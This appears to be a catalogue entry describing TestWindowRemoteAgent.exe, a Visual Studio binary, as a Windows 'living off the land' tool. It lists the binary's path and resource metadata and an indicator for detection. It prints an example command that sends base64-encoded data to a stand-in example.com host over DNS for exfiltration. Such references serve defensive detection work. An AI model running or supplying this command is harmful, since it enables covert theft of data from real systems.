TestWindowRemoteAgent.exe is the command-line tool to establish RPC Located at: C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\CommonExtensions\Microsoft\TestWindow\RemoteAgent\TestWindowRemoteAgent.exe.
testwindowremoteagenttestwindowremoteagentSandbox: execFile · Timeout: 30s
network.transfer.upload Outputs
process.output Command execution output
network_traffic Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | medium |
| Disk I/O | low |
Sends DNS query for open connection to any host, enabling exfiltration over DNS (Attackers may utilize this to exfiltrate data over DNS)
TestWindowRemoteAgent.exe start -h {your-base64-data}.example.com -p 8000| Type | Rule / Indicator |
|---|---|
| ioc | TestWindowRemoteAgent.exe spawning unexpectedly |
testwindowremoteagent is a Windows LOLBin. TestWindowRemoteAgent.exe is the command-line tool to establish RPC Located at: C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\CommonExtensions\Microsoft\TestWindow\RemoteAgent\TestWindowRemoteAgent.exe.